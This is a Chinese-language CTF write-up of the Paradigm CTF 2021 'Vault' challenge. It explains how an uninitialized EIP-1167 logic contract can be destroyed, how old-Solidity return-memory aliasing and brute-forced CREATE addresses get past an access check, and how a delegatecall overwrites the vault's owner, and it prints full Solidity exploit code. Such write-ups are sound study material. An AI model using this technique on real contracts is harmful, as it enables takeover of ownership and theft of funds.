Writeup | Paradigm CTF 2021 Part one - Sissice’s Blog
Writeup | Paradigm CTF 2021 Part two - Sissice’s Blog
VAULT
这道题涉及到了 EIP1167 代理合约
通过挑战的要求是改变代理合约的 owner
1 2 3
| function isSolved() public view returns (bool) { return vault.owner() != address(this); }
|
先看一下整体逻辑
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| function Setup() public { // 设定 SingleOwnerGuard 为 guard defaultImplementation registry = new GuardRegistry(); registry.registerGuardImplementation(new SingleOwnerGuard(), true);
// 利用EIP-1167创建一个代理合约 vault // 原合约是 SingleOwnerGuard vault = new Vault(registry);
// 授权 deposit 和 withdraw 两个函数 SingleOwnerGuard guard = SingleOwnerGuard(vault.guard()); guard.addPublicOperation("deposit"); guard.addPublicOperation("withdraw"); }
|
关键爆破点:
构造函数相关的字节码在init-code
中,只能被调用一次。而自定义的initialize()
方法存在于runtime code
中,可被反复调用,需要自己写逻辑保证只能调用一次。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| // 构造函数 function Vault(GuardRegistry registry_) public { owner = msg.sender; registry = registry_; createGuard(registry.defaultImplementation()); } // create new guard instance // 利用EIP-1167创建一个代理合约 // 传入的是逻辑合约 function createGuard(bytes32 implementation) private returns (Guard) { address impl = registry.implementations(implementation); require(impl != address(0x00)); if (address(guard) != address(0x00)) { guard.cleanup(); } // 创建代理合约 guard = Guard(createClone(impl)); // 代理合约的初始化 guard.initialize(this); return guard; }
|
在 Vault 中只初始化了代理合约,而真正的逻辑合约 SingleOwnerGuard 并没有被初始化,类似于著名事件 anyone can kill your contract
调用一个被销毁的合约,它只是会执行STOP这一个OPCODE,不会REVERT,也就是说会调用成功
在solidity<0.5.0的版本中,返回值存放的位置指针与参数值的内存指针指向同一块内存地址。返回值拷贝到内存中时,如果返回值的实际长度为0,则其实际上拷贝到内存中的数值长度也为0。CALL不会去覆盖内存的值。
这意味着如果我们销毁了逻辑合约 SingleOwnerGuard ,那么会得到内存中已经存在的内容,即输入
因此当 SingleOwnerGuard 被销毁以后,我们传入的地址的第16位数值就是 error 的内存位置
这里可以选择使用 create 或者 create2 来生成特定的合约地址,使合约地址第16位为 NO_ERROR,绕开权限检查
emergencyCall 函数可以自行传入data,也就是说只要绕开了权限检查,我们可以做任何事
1 2 3 4 5
| function emergencyCall(address target, bytes memory data) public { require(checkAccess("emergencyCall"));
require(target.delegatecall(data)); }
|
完整的demo
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72
| pragma solidity 0.4.16;
import "./Setup.sol";
contract FakeVault { SingleOwnerGuard public guard;
function get(GuardRegistry registry) public { guard = SingleOwnerGuard(registry.implementations(registry.defaultImplementation())); }
function cleanup() public { guard.initialize(Vault(address(this))); guard.cleanup(); }
function owner() public returns (address) { return address(this); }
// 在 cleanup() 中会有判断 guard() 的逻辑 function guard() external view returns (address) { return msg.sender; } }
contract OwnershipTaker { function doit(Vault vault) public { // data 为 0,就是调用 fallback 函数 vault.emergencyCall(msg.sender, new bytes(0)); } }
contract vaultExploit { // 注意:要修改的 owner 的位置需要和目标合约 vault 中的 owner 的位置相同,否则无法进行修改 address owner; vaultSetup private setup; OwnershipTaker addr;
function vaultExploit(vaultSetup setup_) public { setup = setup_; }
// 销毁逻辑合约 function part1() public { FakeVault fakeVault = new FakeVault(); // 获得逻辑合约地址 fakeVault.get(setup.registry()); // 初始化并销毁 fakeVault.cleanup(); }
function part2() public { while(true) { // 使用 CREATE 来创造合约 addr = new OwnershipTaker(); // 判断是否满足条件 if (bytes20(address(addr))[15] == hex'00') { break; } } // 调用特定合约地址中的攻击函数 addr.doit(setup.vault());
}
// 在 fallback 函数里面实现修改 owner 的逻辑 function() external { owner = address(0); } }
|
后续题目更新中……